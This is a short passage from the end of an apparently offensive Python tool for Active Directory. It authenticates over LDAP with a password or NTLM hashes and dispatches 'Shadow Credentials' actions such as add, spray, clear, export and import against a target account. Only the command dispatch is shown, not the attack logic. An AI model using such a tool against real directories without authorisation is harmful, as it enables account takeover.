929 | username=args.auth_username,
930 | password=args.auth_password,
931 | lmhash=auth_lm_hash,
932 | nthash=auth_nt_hash,
933 | logger=logger
934 | )
935 | shadowcreds = ShadowCredentials(ldap_server, ldap_session, target_samname, target_domain, logger)
936 | if args.action == 'list':
937 | shadowcreds.list()
938 | elif args.action == 'add':
939 | shadowcreds.add(
940 | password=args.pfx_password,
941 | path=args.filename,
942 | export_type=args.export,
943 | domain=args.auth_domain,
944 | target_domain=target_domain
945 | )
946 | elif args.action == 'spray':
947 | shadowcreds.spray(
948 | password=args.pfx_password,
949 | path=args.filename,
950 | export_type=args.export,
951 | domain=args.auth_domain,
952 | target_domain=target_domain
953 | )
954 | elif args.action == 'remove':
955 | shadowcreds.remove(args.device_id)
956 | elif args.action == 'info':
957 | shadowcreds.info(args.device_id)
958 | elif args.action == 'clear':
959 | shadowcreds.clear()
960 | elif args.action == 'export':
961 | shadowcreds.exportToJSON(filename=args.filename)
962 | elif args.action == 'import':
963 | shadowcreds.importFromJSON(filename=args.filename)
964 | except Exception as e:
965 | if args.verbosity >= 1:
966 | traceback.print_exc()
967 | logger.error(str(e))
968 |
969 |
970 | if __name__ == '__main__':
971 | main()
972 |
--------------------------------------------------------------------------------